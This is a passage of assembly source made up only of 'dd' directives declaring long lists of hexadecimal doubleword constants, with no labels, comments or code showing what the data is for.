0FAB2FEADh, 286C00B1h, 6A01E31Ah, 531D8D59h dd 0B89D2Ah, 40A95DAFh, 0A6997h, 0A43D2D0Eh, 1A35F70Bh dd 301C6400h, 0B98E813Fh, 9B48046Ah, 0D2B88242h, 3452FA78h dd 76C15C00h, 37317D2Eh, 92C3009Dh, 4383DDFFh, 2613A0E5h dd 0FB00AEBEh, 286D66F0h, 0E0F101B6h, 5D9BE27Ah, 5C4120A6h dd 6920AD03h, 125E8A81h, 0D50641h, 0D7A5BFB7h, 9C26B18Fh dd 27005CEFh, 9080305Ah, 2E0F0F42h, 21134DA1h, 0D01EAD64h dd 93037DF2h, 2A730D34h, 7CF79851h, 1F82FEC0h, 84CB082Eh dd 0C02787A1h, 0E31139ECh, 98C30A16h, 8EC1AA03h, 8DF600D4h dd 59651F77h, 0B473A5C9h, 32B88F12h, 93E33400h, 90127AAFh dd 3C6800C8h, 6F20A7D8h, 3D032E30h, 6BB9CA79h, 8C17B9C5h dd 0AC024h, 6FFE7B36h, 21B2D414h, 0BAF7913Ch, 86CE004Dh dd 693BE82Dh, 0F64403D6h, 6015AA3Dh, 74789698h, 671ADE00h dd 0E77B91C7h, 6C583D7Fh, 77F63184h, 0BC00F37Ah, 0BD058680h dd 267FF4B0h, 10F74880h, 0C6F901CFh, 1CBEC823h, 0AD15F017h dd 68401091h, 20745EBh, 0E9D734EFh, 84F06F81h, 14705312h dd 1094CD0Ch, 0B5390022h, 0D292CD35h, 6F4CA9FCh, 4DE247Eh dd 0EC179C04h, 80563205h, 0D5DCFDB0h, 0DBD4CE00h, 5B1611D1h dd 2763Dh, 0DAD656D7h, 4FE165B8h, 0F71BEB00h, 9B1D536h dd 858927C9h, 0A400E08Fh, 4E5FE76Fh, 0FDB0B960h, 3CAE94CCh dd 6C874C3Ch, 5A5CCDh, 2DDB4F8Ch, 8706E8C0h, 0BDF5ADh dd 7951C129h, 4F265536h, 0CB13FA00h, 0C99A1F90h, 6573DBh dd 0CE66E80Dh, 0ADE0586Fh, 23625C98h, 781E5E34h, 61CA008Ch dd 0FE215D35h, 0B6001BBFh, 3766A7DFh, 0E6B1FA53h, 387EEADCh dd 0B9A636D0h, 42203A8h, 28B030CFh, 89015A4h, 0D300927Ch dd 0AE210A09h, 50954BC1h, 2C3E3ACh, 8BC51FFBh, 3060542Fh dd 8C007FF7h, 9DC1C84Eh, 1DB74CF5h, 8092E330h, 0C05B1489h dd 4E0BBC8Ah, 0E4B0610Bh, 19A072C4h, 29F21CE3h, 70DA711Fh dd 85003154h, 8C13A8A6h, 1226CDh, 3364F86Ch, 70FB97DBh dd 1FD8874Dh, 0B3C0DD4Eh, 6FF15239h, 603B0033h, 0AD444DFEh dd 0A907A6E9h, 0BD5A22A8h, 0F06BC6E0h, 0A5420060h, 0C412757h dd 0C5001B10h, 31512366h, 0EB7A53h, 3587ABB9h, 2BFD5433h dd 90E9A512h, 86A67800h, 0EADF9E51h, 0B8E600A3h, 0D3D62B80h dd 96007347h, 76627A0Fh, 0B815096Eh, 0FA9F3BB4h, 7F3C0078h dd 1A787E82h, 20052C3h, 1EE0A085h, 1DCF73Dh, 0A96C986Ah dd 83BA2520h, 0D3B15C18h, 30ABB878h, 0DA6416A1h, 5FF4C002h dd 0C07931A5h, 505CAE00h, 127C7A01h, 325A052Ch, 90DB6A9Ah dd 9E2E4C58h, 0E23F9602h, 6059422Bh, 13408EF4h, 0E4FEC15h dd 9209880h, 51C553E2h, 999C2503h, 80555890h, 94A92978h dd 1F060E68h, 0F4C18199h, 2B00ACF4h, 9EEF01FFh, 614C57C8h dd 0C07921FBh, 533980AAh, 554754B2h, 5A5B3A6Ah, 2A78450Ah dd 0CD57002Ch, 0BD1E3FBh, 0DA620D1Dh, 0FC972F00h, 1C581795h dd 0C3E5356Fh, 9B02ABE6h, 0EAB872D0h, 443B7C03h, 0E0A5A25Eh dd 10E3C0h, 0A794E9F5h, 8EF2B0EFh, 43053E2h, 0BA54A8A6h dd 71E73BFBh, 89AF6183h, 0ABC8B9D3h, 51145B9Bh, 30606B2Dh dd 61752063h, 0BA5728CAh, 0B87B6E0Ch, 1FEE3A1h, 6D75DCCDh dd 3954E058h, 5A25004Eh, 2279E464h, 2937CC5h, 0F7F01E61h dd 0BCC09767h, 0B3B00ABAh, 0B43D0900h, 0A00D8512h, 8432038Bh dd 0DC9C46A3h, 9A75E8B0h, 0F2F8E0E0h, 6814A00h, 0AFBB7811h dd 502639C1h, 1EC57A00h, 4B03535Dh, 4CE14D03h, 0D81DC6ACh dd 94E3C21Bh, 2BF20248h, 0B890DAE9h, 3B1F7D88h, 549E5553h dd 8EBB3BFh, 0ED2112CCh, 3EA40075h, 23DC0FD0h, 154D97E4h dd 0C4CA003Ch, 1023A26h, 25600E95h, 86C0173Eh, 0BFC6D5C7h dd 0B8A6DD2Ch, 4A125F80h, 73581151h, 31277959h, 7569DED7h dd 0B3282454h, 19522B00h, 0C855117Bh, 0E6BE0064h, 204AA151h dd 130271Ch, 5D748106h, 9861F4F1h, 0E38106EFh, 71FAC103h dd 974C580Fh, 0B4E7E063h, 0CB9F7926h, 40A05208h, 0C59754B7h dd 0D6506900h, 0AF8A18F9h, 0EA1E164Ch, 0DB8443C1h, 311825A6h dd 9B791A01h, 0F2143B7Bh, 425AB180h, 0B70CA26Ah, 0D1414A00h dd 0AFF30992h, 0C7BD3090h, 336A46E1h, 8FA1600h, 42FFDEA2h dd 0C0064EA3h, 0D1CBC1FCh, 0D9683806h, 14C1E6ABh, 6819E382h dd 79974E80h, 458C3761h, 97773027h, 4BC9BE03h, 0D0F2D4D5h dd 338909Dh, 0C2DAEC7Eh, 40DF609Bh, 0A0FB5D71h, 0F4835F03h dd 0E8D9DEFh, 3854A8F1h, 7FAEC0A0h, 0D8075F57h, 5133A062h dd 0DDE621F0h, 0C16B7F07h, 0D4DFBFD8h, 624AD1EFh, 9F037CA8h dd 0ACF2D3Fh, 822ABB8Eh, 0D39CA00Fh, 0FA8F5BCh, 0FE568369h dd 0F0F43FE0h, 6E07B32Ah, 874696D8h, 2028DCB2h, 0C21964A8h dd 7B11DB60h, 0E3221Dh, 66C62720h, 0AC9B3D15h, 76190400h dd 0B2E76528h, 69CA5C08h, 61AEE12h, 0E0AAABB8h, 0E7CEBF25h dd 0C212FEFCh, 4844E101h, 5A00D8CDh, 64DD71ABh, 0C0027379h dd 25C7A96Fh, 1B44047h, 0D7BF03BEh, 725E5AEEh, 0AC2922h dd 18FAE427h, 1AE0E652h, 0DFE7BC05h, 818891Dh, 0E26E09h dd 22A19AE4h, 68A78162h, 0B082920Fh, 0A974C0D4h, 727FB541h dd 0DA650045h, 8E0B3475h, 70E17A5h, 7FC34EB4h, 6864980h dd 7DBBC21Ch, 0DE2500CEh, 1352FC68h, 0C60064DCh, 0D41F47F5h dd 10CBBA2h, 0CBC58AB4h, 0C01A569Dh, 0CD00C1ECh, 6C55C4F0h dd 7DAC2FEAh, 837E1E72h, 0D3E40Ch, 7971D659h, 0C33E8F44h dd 0A41700B5h, 0CAA378AEh, 2E19007Bh, 0A808DE68h, 0F7005ABCh dd 2B0C84Dh, 89E799h, 0AD271AFBh, 6D761C0Bh, 0E4182405h dd 50C09C85h, 0BABBB3h, 0C34612F9h, 5F80A51Ch, 4F3BED03h dd 0A0BD66F8h, 9B7BC0h, 3A8C37C9h, 0EDF9AE42h, 0CFE27800h dd 7538552Ah, 6EE43B35h, 49C76B00h, 3183D7Ch, 0CF0D6C0Eh dd 0C8C600E2h, 0BA94Ch, 0FB75D621h, 6A637F46h, 61604F14h dd 0B14E07FFh, 81D15524h, 6630947Ch, 254C0031h, 4F482379h dd 7E010FBAh, 42BC8789h, 0CB4086F1h, 32DF305h, 0B1C7EFE7h dd 37A8C452h, 42002A5Ch, 71530A4Dh, 0FE5B6Eh, 7222C165h dd 0AF0F1855h, 4FF1E600h, 0E4E76970h, 386EC0CFh, 1B251390h dd 0BBC8916h, 0FE3C1Ch, 0A0C78F65h, 0A21641h, 0BDCAB7B6h dd 0AAC55878h, 1EB2E609h, 966C0379h, 6D98077h, 221100A7h dd 35046A20h, 61001B30h dd 376387C6h, 181FF41Dh, 112A7146h, 7E030335h, 7657934Dh dd 0BEF351h, 0A3DB581h, 3F792BA2h, 0A0311E00h, 633CE4D7h dd 560600E5h, 7ADF6FBFh, 99001191h, 5AF53FD2h, 4DAD2DA6h dd 872988EFh, 0F5EA004Ch, 74512ABFh, 1D32090Bh, 0E51C00E9h dd 0E4A8A1h, 4B45B1F1h, 5E90D152h, 0BF00FC70h, 0BD65F6F0h dd 8EE4C0h, 8C612271h, 6A4CD8A8h, 3F310A00h, 5007133Ah dd 129D0028h, 0AAEDDFC2h, 0F61EEB9h, 0F12F7868h, 0B7B2C8F7h dd 0ED580035h, 3F6B60D2h, 2100D56Eh, 0FA3D49CAh, 79BB2BF6h dd 949C02FBh, 739375DEh, 8AABA180h, 1F073B91h, 0BE68F655h dd 0B0DD8010h, 3C3D2D4Fh, 13E63880h, 5000845Fh, 6C20730Eh dd 5819EDEh, 1F04B279h, 0F1B04075h, 281B64B0h, 0A3F6C100h dd 0BB71B65Ah, 0A487182Fh, 18653827h, 406FFE00h, 0E512288Bh dd 9D730FFh, 0B9909140h, 7600C273h, 6B28860Eh, 17B10B01h dd 0E5646F1h, 48D86615h, 3A0A70A3h, 0C8C141F2h, 63284340h dd 0C9A41C05h, 12578753h, 0E3B3D0DDh, 9D06D535h, 144B1C02h dd 9A14C7D9h, 947303CFh, 127231A8h, 0AB235300h, 69F20281h dd 0C85612AAh, 0B16840C4h, 28E1C0D3h, 9F02A3E2h, 925CC381h dd 3D284078h, 0E0D4001Ch, 0F94F7D38h, 6E0F4B36h, 6188D92Dh dd 45AF03D6h, 779DC34h, 193BF95Eh, 50E2D2EDh, 86389E83h dd 12F47904h, 55405FA7h, 7627BB6Eh, 34644124h, 0B422B982h dd 0C8ACA059h, 901348EDh, 1BA50F3Ch, 0D420401Dh, 80B809AAh dd 97641100h, 257B0A68h, 4A650992h, 0A8806A37h, 0CEFA5E26h dd 1C0EC4ACh, 813C9DBAh, 920D37BBh, 0F32326C4h, 0FC43F0E8h dd 26697EF7h, 777BA57h, 104D8A0Eh, 0EA277050h, 46EF6400h dd 6CA30BACh, 0D7A61566h, 0B884D051h, 6504A09Dh, 80DB1209h dd 2DD80276h, 0E4C8E0C5h, 90086005h, 0AE96F5BBh, 9907BCEEh dd 0B21C9DA4h, 307C36h, 26F31F15h, 8C734EE1h, 6B803C50h dd 0EB27B200h, 0F6B5BD63h, 4AED5E26h, 0A3389C50h, 0E86904A8h dd 11DC80E4h, 0B4928B95h, 0C26CD904h, 0A9C015CCh, 7B7B3F8h dd 90EC3676h, 836AE196h, 6BB87475h, 6DD45302h, 66784D49h dd 16190E08h, 0E69F58Eh, 0C3ACA8A2h, 8CFC9C60h, 0E4F4A000h dd 78FD4406h, 0B30C1CD9h, 1CF2C15Eh, 800E11AAh, 3E1F4848h dd 9B30E24Eh, 7AA40898h, 50ACB05Ah, 0AEA61D49h, 72474CB9h dd 4A481F99h, 98A129C0h, 5CE8DCA0h, 0D7D0F602h, 0E1EBD248h dd 705425CDh, 3010F489h, 495B5C95h, 0C0148456h, 5724B82Dh dd 0E6090008h, 2B012A79h, 3D747E00h, 17C59BE1h, 4BF72AFh dd 0A0CB48FFh, 6864904Eh, 88000EF2h, 0B1C8870Dh, 3E88609h dd 361EA8F3h, 0C0CCCEDFh, 32FF8A27h, 896D9E3Dh, 800A3849h dd 85E59038h, 0ED080095h, 9C529214h, 0FE7729F6h, 0E626BF7Bh dd 0D81D94E3h, 90D9740h, 0FA75D974h, 46FD3A96h, 94AA9E8Fh dd 70295360h, 2F0038EDh, 4960A150h, 1F9EBD9h, 0B22647AFh dd 50BC370Ch, 0F2EA8B8Ch, 1401BA7Eh, 0E4A1D717h, 0B4423CDDh dd 57006089h, 942D4D28h, 0D3FEE500h, 0F7545BF0h, 79EFFD0Ah dd 0F8080DDh, 421B7FF6h, 0F39E466h, 79C8844Eh, 726CC100h dd 9979554Ah, 45ABAC0Eh, 8A524671h, 53B80E59h, 2208FD7h dd 92984FB3h, 6BFFEF02h, 0E01FD6A1h, 0A91634h, 8D0AFBEDh dd 0F9D5977Dh, 72E07C1Eh, 6517F000h, 1CC95B78h, 5211189Fh dd 14250033h, 0FB139D7Ah, 0FA67CE00h, 47BA62E7h, 0B2A62425h dd 0A56C0070h, 6657CF05h, 4A957B3Bh, 49F1F00Fh, 1E308027h dd 9837E38Bh, 6A590E68h, 0AE8689A7h, 0BB72F824h, 1DFA9B01h dd 113478AAh, 92F04190h, 0DA435070h, 4EFC0075h, 0F92FC56Bh dd 51126D73h, 2C0CF39Dh, 74D74136h, 4EF70001h, 0E5555AD0h dd 7700B88Eh, 57A0BF0Fh, 17ED30h, 25055F1Ch, 0B1F0F5C2h dd 9454361Eh, 0CE357AC1h, 0C04078A5h, 7C137305h, 504E7D2Dh dd 771C301h, 0C654DBBEh, 534CD2B3h, 8038F069h, 13FB6978h dd 0B2C3E74Eh, 7245099Ch, 0ECA027ADh, 0B010D64Dh, 1D0CB874h dd 296F81A7h, 75D8020Ah, 0B25A4CE2h, 0C989F0A1h, 0D050DE6Ah dd 0CCC1EB5Eh, 6436785Ch, 15FDA501h, 0D4BBB73Ch, 0B802F0E9h dd 8322655Fh, 5C1C58FEh, 0FF173C6Bh, 0D16100E7h, 6ADD6FE1h dd 0EEC28400h, 7210BAD8h, 0E090997Eh, 0D81016A5h, 1D9437E9h dd 555658CEh, 0B8E80840h, 0B8B274BBh, 0F367090Ch, 0BCA513BAh dd 69A46172h, 36A42489h, 0B430514Ch, 5329F800h, 9202A678h dd 7E0E0018h, 2B63B15Ah, 0DD0050CBh, 0C3F8F1D6h, 3EAE41h dd 9C512471h, 0AF3F4556h, 8A8A424h, 40F7F242h, 60772C34h dd 0AFF55114h, 9C9B275Ch, 40A17B0Fh, 15585417h, 0FCD206DDh dd 0E0A6CFE4h, 0CC62182Ah, 0DB897002h, 60761AE2h, 2628B380h dd 0BFDC1FA7h, 0AF3D958Eh, 4A9E0077h, 6214F6Bh, 8104A5E4h dd 2BABB60Dh, 5A9E0890h, 95DA3BFAh, 9FA93980h, 0AC384EBh dd 3C7B4500h, 16579D76h, 0FFEA009Ah, 0CDF955B9h, 0AB00E2B2h dd 8807B370h, 3B4A03h, 8590A351h, 1225D265h, 35C4D4A0h dd 74220F84h, 0F5003759h, 7D4C01D1h, 0E5D37B00h, 0B7EEE0AEh dd 63C9143h, 0A0391863h, 0AFB5F700h, 0C4562234h, 86EF0F23h dd 0A0E00D5Ch, 76DE68D3h, 582C2133h, 23F5C06Dh, 20D0018h dd 74D39006h, 0C3009938h, 21F2C93Dh, 68DD37h, 32ED20C5h dd 0D0300604h, 0F3001EF2h, 0DC5C565Dh, 6040A8h, 0E5F5B8E2h dd 228DEB67h, 0F41EADE6h, 0A340DECEh, 0CDBE09FDh, 0A815005Fh dd 0E902E1BFh, 6E009782h, 0FB555386h, 189E4A4h, 81F88AD5h dd 9CFF7845h, 0BB0E1480h, 2F5DC0C5h, 2D9060E0h, 5081365Eh dd 0F7AC87E8h, 23FA9EB0h, 0AD386178h, 0A285805Eh, 0AF8277DBh dd 0C73103D7h, 9EE76AD3h, 985D64E0h, 958CD401h, 0EA9BDC36h dd 7FFA270h, 242AF8C6h, 54077255h, 6AF01CC0h, 5C63BA16h dd 0FEF90Bh, 0A313100Ch, 0CE4244E6h, 45BB3Dh, 0AF9A4823h dd 507F1D06h, 6FD035h, 39C52B8Ah, 2DAD6D24h, 0E513CB7Dh dd 0FC00A966h, 0F7DBA0C1h, 0EAB00F4h, 0CF3DED03h, 0A70014F6h dd 0CAB8F162h, 396AA11Ah, 0F0002982h, 0D24AECD6h, 421C8198h dd 0AD8097D8h, 0E39A443Ch, 95D51809h, 319498CAh, 8E3DD479h dd 22639EE0h, 0D3F87240h, 6D18A9h, 0A5F966CAh, 0ED78395Dh dd 0D443650Ah, 21E90C5h, 6170A2C3h, 31E0A07Fh, 3FF81C2Ch dd 949B817Ch, 20D1DCD4h, 25097859h, 8032F6E4h, 0D727C45Eh dd 6869001Fh, 6E0AEAFBh, 0FC00C245h, 6CA10DA0h, 5012AE29h dd 907FB4C0h, 0B0D4E819h, 0CC211E7Ch, 0EED1C184h, 7117AD96h dd 0B6AFF400h, 5F8A9B1Ch, 0B8DEE401h, 0C544A98h, 0A0D40A80h dd 1A050030h, 6179A4E4h, 71135352h, 0AC00F61Fh, 0A9F77073h dd 3CFDEA1Ch, 0FC8676D3h, 11727BD6h, 3FB809C0h, 7CCDA602h dd 0F3AC00BEh, 0CFE80FB4h, 10006AA0h, 0C650ADD7h, 38DCBB91h dd 0DE0975C4h, 0B896AC6Dh, 0EEBEDD00h, 8C4A3AA5h, 0C070FE16h dd 7BD0B2A8h, 7F00ABE0h, 0FD4993EFh, 64F302h, 0F1617A44h dd 0D8D73E55h, 807DE03Ah, 93DCBFC9h, 0FB541Fh, 6251882Ah dd 3CF999DEh, 0A45473Eh, 885B2016h, 1CF03616h, 43C900CBh dd 45C7EE37h, 0BE09F039h, 85EF3E46h, 41F85C4h, 9E401041h dd 6CF0274Bh, 0A290071h, 53D56D68h, 0D4737869h, 0CB6B3B00h dd 59E6BBDDh, 129B00FAh, 0A15199C2h, 8D02E3F2h, 81D3A458h dd 4215C0F4h, 7DF109A5h dd 740FD7E5h, 0AA149F20h, 5B00A74Bh, 5E33EF6Fh, 98BE1C3Eh dd 29681F6Dh, 4E705325h, 55E8EE40h, 807A6502h, 944040ACh dd 26DC3D02h, 1F91007Eh, 0ABE58AA6h, 0CBEAE4B3h, 0AFD7C700h dd 0B9C3130Bh, 0D6100A0Ah, 230803B8h, 1D2604h, 251E67EBh dd 307DFDCh, 89F5E926h, 0D0419910h, 11FEE4Ah, 2AC7B49h dd 86DBAA11h, 0CA8168D0h, 0CB0C0990h, 60602FF3h, 0D249598h dd 57000F87h, 48734B1Ch, 82FA00C3h, 0F4F890Ch, 0C80FC518h dd 96881B44h, 51B75804h, 7988E0h, 5DB30ABDh, 42C31A0Dh dd 0B5087F01h, 0C2190E5Bh, 0B61E5D0h, 682E7577h, 6769EC60h dd 0BE0211B0h, 0FEC3A8AAh, 6280F901h, 0AD11AAC2h, 43F5A0F3h dd 0A220CCB5h, 77070418h, 3BCD272Eh, 7F7BE980h, 0DF8B006Ch dd 0CC3E95FAh, 0A505BDC9h, 52B2652Dh, 25797CC0h, 65A0013h dd 7ECD2AFFh, 961DDAF4h, 0DC407860h, 0FA8D7792h, 6A3C48CAh dd 8662480Fh, 0A9B77944h, 5A550034h, 0BA9E854h, 185113F5h dd 0EA5E077Ch, 1BBC5AEEh, 0FE1F1805h, 221CE9E0h, 721C9F00h dd 0EAB45763h, 54C9759Eh, 75297899h, 740695A9h, 1A05F0A7h dd 6AE598D4h, 52FAA0E4h, 405FA438h, 0A3B2C264h, 0F0016BF3h dd 0A2F7BBFBh, 94E4E856h, 4E6E0F16h, 0C5A92711h, 5E9C6B00h dd 0DD056203h, 0E62BF864h, 8002D8F3h, 2A554E3Bh, 1610C131h dd 69073B77h, 621E5A84h, 3AB0BDD7h, 13F8C1D3h, 0C00C7058h dd 2812BF88h, 0EBAECF00h, 0BBFAA9FEh, 0CFB2E8FFh, 278219C9h dd 0B7874E25h, 8036D5A5h, 64A0538Fh, 28411E30h, 0E66D395Fh dd 37270116h, 0A106BC87h, 0F0805564h, 0C28CEB38h, 725551A0h dd 10C36091h, 0E638EE17h, 4D5B0268h, 9E5399C1h, 1FB970F4h dd 3B02C96Fh, 502947D3h, 5CE50024h, 1B48155Bh, 0F6002A20h dd 5DB870CEh, 3B9868DEh, 11006F73h, 2715FCCDh, 0B9E66C13h dd 238CFE52h, 280E0054h, 0FF4BAECBh, 0E5A34486h, 4527E601h dd 6B6A0133h, 28B1CF8h, 5E617FD9h, 9080B18Eh, 49E7DD1Bh dd 2D36AB18h, 5FE38279h, 50E83007h, 61217797h, 58BBC047h dd 5603AB97h, 0FE11F519h, 0A4E0E040h, 0E2B80049h, 476E5FF6h dd 2F00AACBh, 83EA71EDh, 1C37DE8h, 2308B3D3h, 0D8265599h dd 7016A657h, 4C000EC0h, 1FA32B9h, 0BC59072Dh, 0FEE08612h dd 0F90679E0h, 0C009BF99h, 80FE4D9Fh, 0B7EA0C15h, 0B4721CD9h dd 0B9BA4001h, 0DC9E6BA9h, 37A86A00h, 48B6F405h, 0C087001Ch dd 0A073C790h, 1E162C3Bh, 0F1076586h, 918636CDh, 71170331h dd 0D2B2BCA1h, 398D100Fh, 0E0928F34h, 0CB04D9AAh, 1DA80098h dd 0EC57F423h, 0E0003D36h, 0A08119F0h, 3B0363AFh, 6F80FF77h dd 8F1F17FEh, 0A7300C52h, 1E277066h, 677F5h, 49FD5DC7h dd 81EE9AD5h, 0E5EC244Fh, 7DCBB407h, 0C094F569h, 313B5A6Eh dd 0F7452F0Ch, 33EF1873h, 3C994088h, 5EF35600h, 461C2D11h dd 0FD740EC7h, 5520B010h, 0E918865Ch, 0AE02BD75h, 0C97E7714h dd 19F4C0F9h, 0C0600046h, 0DFC61035h, 3E0CABFEh, 1947C1A1h dd 0EE0B00EAh, 0A0AF2DA3h, 0B70BA609h, 930587h, 0A8920799h dd 0DB7701B8h, 8DFE6C32h, 7B99803Ch, 0BA2C6B60h, 0D1B50090h dd 11DC8171h, 602EBB4h, 586DD8Dh, 0D28DE0A3h, 155F1393h dd 322402A0h, 0E4C076C3h, 3A00B555h, 0DB96FD75h, 0E0DEA2A6h dd 1C827492h, 2FE62ADCh, 0E8655C40h, 6C7BBB00h, 3B01423Fh dd 9325035Dh, 0E51FD52h, 80383Fh, 0C5C1DFFBh, 0D7CE1A90h dd 807AA150h, 9B9F9920h, 0EC9E256Ch, 0D26601E0h, 3319BD43h dd 0C6E06A90h, 3F3618CEh, 0E66030A3h, 0C25C2F00h, 37FC52C5h dd 0CB4D0156h, 84BE863Dh, 0F31980C1h, 0A0798708h, 68DB64D0h dd 1822C07Dh, 7307C295h, 0C0A642DEh, 5682CF0h, 0BCCF7CBh dd 0A3E718BEh, 0EC33608Fh, 41C0D1ECh, 0B5C9F4E4h, 0BCF64C02h dd 4874A100h, 6C9EAD34h, 0EE396000h, 9F053F0Ah, 20AC0121h dd 233AB62Bh, 0FB9EFC98h, 0BE89031Dh, 79AF970h, 0B0A2E8E2h dd 4EDB0BD1h, 5A8E4C47h, 0DC665C40h, 6E056B51h, 9AB1FA23h dd 5BD9C40h, 0C99FFDFh, 61A4834Eh, 333A6758h, 89A700F4h dd 745E6332h, 88509707h, 8FF96401h, 7CC891C0h, 8F84A99h dd 0FA218017h, 56828FCFh, 0E1AB00A5h, 51F36C4h, 0F01EB309h dd 61C752D9h, 8CF6E333h, 2434661h, 92278FCEh, 35E130F0h dd 0CF980h, 59D1ED8Eh, 0BECF574Fh, 0E7092200h, 4C89DF40h dd 85C807F4h, 507BA696h, 0EF0B1D9h, 74AB531Fh, 1E350401h dd 0A4D0143Bh, 3DDC00A1h, 0F81AF4EDh, 360B180h, 7CA3E568h dd 380701AFh, 502C5A1Fh, 1AD8D015h, 0A9CA20C0h, 0B9627Ch dd 0E9BD2EA5h, 0BAED6EE8h, 0AB8F042Eh, 0AC467030h, 738130AAh dd 0D024E779h, 0F06DFD0Fh, 0C8981DF4h, 0C782EF08h, 0A00C1020h dd 86B9E756h, 0AC481301h, 0DCA98FFCh, 6C6B9C40h, 16577A8h dd 1266023Ah, 0C483393Fh, 0CFF0680Fh, 367FA500h, 4CA240C6h dd 970200A9h, 7C50F935h, 4F1F2410h, 0AC00B0FBh, 47688891h dd 76A4382Bh, 94CCE080h, 657C2870h, 3DB2C700h, 0B5261518h dd 1DBC0166h, 0CFD42B08h, 5348704Fh, 98033B71h, 0F79ACD2h dd 0E29AE0D0h, 0ED1C00C6h, 4CFDB4B9h, 765C5597h, 7DD23EBBh dd 7352C012h, 0F800791Eh, 7F6B9BF4h, 0CFDA07B2h, 40E265EDh dd 85F1F791h, 0DB9A721Fh, 0D84D1C03h, 63500FB3h, 9E8205h dd 1F8A3A91h, 9B00EF08h, 323398E1h, 30AE7920h, 5618B873h dd 0F8F5DABFh, 133C78CFh, 483C7551h, 27AA0092h, 0EF1188C2h dd 0FE30095h, 6EEEFEA3h, 554093CEh, 0C69B317Ah, 4CCFD8D8h dd 0FE000504h, 0FA4CF90Ah, 1852C3DEh, 0D824D75Dh, 3E2EE6B8h dd 6A00D927h, 0A01A44E8h, 1972303Dh, 85974B94h, 8C597E28h dd 0F7FF200h, 799AC5FAh, 5F9500D7h, 51822A94h, 9BF8778Fh dd 284CCF2Ah, 99372C1Bh, 0C008ED19h, 0D1C38341h, 0A905F75Eh dd 83897E52h, 44906037h, 3F5F06Ch, 273F42B8h, 5804F9E0h dd 0DDEC8F56h, 62009010h, 4574DCF6h, 0C250E748h, 79DD75A0h dd 650AA71Fh, 46957C55h, 3C6C8A84h, 82C17A07h, 0B03EF1ECh dd 84F554F7h, 9E472455h, 0B0069E08h, 6B1DC690h, 87DA2B88h dd 187FF586h, 4C3D0649h, 0C8F802CFh, 65170FA0h, 4D70F900h dd 3B7D42C5h, 0F881C061h, 0AAD4DE55h, 9B310660h, 5603CC2h dd 0A7244D51h, 7D500386h, 3900AF83h, 7803806Bh, 2AD7448Ah dd 26CCC60Fh, 30D4F971h, 0FE6154A9h, 23B5C200h, 0A61BE985h dd 0E384A345h, 4C52C1F9h, 4C7879C4h, 700FB854h, 0FD004710h dd 0EB4FD8BAh, 18101660h, 3EE8DE34h, 650EA780h, 4F066DD2h dd 30A06904h, 0A888F805h, 51663E4Bh, 0C72F598Ah, 0FF78B3A0h dd 2B4FDC98h, 86039C92h, 0C3AFC95Bh, 5E2018A0h, 3D46A1BAh dd 0EDFC8B09h, 0F8BC0108h, 84505387h, 14D3FDh, 0EBA2654Ah dd 0F0B29A44h, 3970258h, 0E0FCDC33h, 46602B74h, 2CFE440h dd 38DB0710h, 0ED2EB340h, 52186E48h, 0F8798F19h, 4C0412D2h dd 0AC745058h, 640733Ah, 95548551h, 22BC3F10h, 0CD9A19A3h dd 9E5138B9h, 57837A41h, 0D1A94BB8h, 0AC244427h, 0FBF1352h dd 1A102349h, 19086B8Bh, 8A9D30ABh, 818FBB9h, 670C77EFh dd 8371E9h, 897C3C68h, 0F3EFF0F9h, 33C43D07h, 36F086F5h dd 36C24580h, 98C1D2C0h, 0EFC80C02h, 48CC6125h, 7485D4h dd 7048F5EDh, 538ECDCEh, 1763C515h, 263FA4h, 1486A9EDh dd 6B62ACh, 61974F2Ah dd 0E6D7C1B2h, 0FF1CF302h, 43201EAFh, 0ED8B88CEh, 2BCD0070h dd 64CA79C3h, 0B2035FBAh, 0B9EFF8D0h, 9A91002Ch, 883246FBh dd 950FDAA8h, 0E16A595Eh, 7219B1E9h, 0ED003833h, 8F64A82Eh dd 5763C20Ch, 0CE5EC8h, 0BD51FB49h, 0EB617A7Fh, 8A8F9700h dd 4DA49CE7h, 27B10094h, 1B7D54CAh, 931CE12Ch, 0A5805B5Fh dd 25C98092h, 0C3D58866h, 5EF92464h, 41805C94h, 15EA20h dd 7B0123D7h, 7A47ED79h, 5833B60Fh, 155296Fh, 257EA0B4h dd 4D1E00FEh, 0B100321Bh, 292FD2F7h, 3CC68833h, 0EE9E2467h dd 0AB14C00Ch, 498545AAh, 0A90F0E03h, 93343A70h, 4022A0CEh dd 897D00D8h, 0DDB7E9FBh, 46039B58h, 0D0931D96h, 772DD8F5h dd 1034000Fh, 29D2BAEEh, 37787673h, 0FF38A800h, 23E3E714h dd 27771F25h, 7AD9003Bh, 0EA80972h, 8954E90Dh, 98F04018h dd 183B611Dh, 0D3AAA1ECh, 796370E0h, 0DB848300h, 0EAEEDF75h dd 0FC307ACh, 765A1E7h, 8155A020h, 2CB864B8h, 43F37318h dd 0E07B7880h, 401E0048h, 0CDC5EF15h, 73009641h, 2FEE0DB9h dd 0C1B1D3Bh, 0ABD4B8E8h, 0D81B1970h, 0C1405A67h, 0B9D3215Eh dd 10B0B420h, 329116E9h, 0B9728206h, 48EF1Fh, 76BE2006h dd 3F16F099h, 0FB524207h, 0AFC0561Bh, 0F25FBD40h, 44A7007Bh dd 2721B57Ch, 5061ABCh, 18DD2BA5h, 24B03861h, 0C0215180h dd 0E889375Ah, 213508CCh, 240F0EDBh, 9CA053ADh, 4B4A5C52h dd 0C8105406h, 0B9B985h, 0D470634h, 0FEF2072Bh, 0F6DC5650h dd 0E1B40h, 0A253A62Fh, 19134C57h, 43A43407h, 64B1991Fh dd 4983BEA9h, 500B22D3h, 0C1F5B800h, 19B48026h, 24EB0359h dd 0ED55B777h, 0EAAA2101h, 170FA05Dh, 1B11204Eh, 0C72380CCh dd 2B16563h, 4EDCED7Ch, 0B4A0DF81h, 0F2F77788h, 0E932F51Eh dd 143B2B03h, 2004600Fh, 0BEF62DEBh, 0AF22CB07h, 3B302CE5h dd 779F0F4h, 9E677A65h, 38D05151h, 719CCCD2h, 0BD02FC90h dd 0A45A3B32h, 26BCB031h, 21830824h, 6D58F8F0h, 73240081h dd 0B3886BC4h, 50155C3h, 45A8742Ch, 54F88E28h, 6BD303A2h dd 0A425B4DEh, 27683862h, 0A1C818D8h, 0A021351Fh, 0AB6388A1h dd 24839F00h, 10D61FCh, 0B8709660h, 80A1DD27h, 0BB822D21h dd 68AF08h, 45705564h, 0CE488A7Bh, 0BC0D49h, 7929BB0Eh dd 98DB6Dh, 54E04CCAh, 6E5613B3h, 2EC1F900h, 0AE191270h dd 7BE1809h, 0C9143938h, 0CD809F00h, 0A46488BDh, 63AE18D0h dd 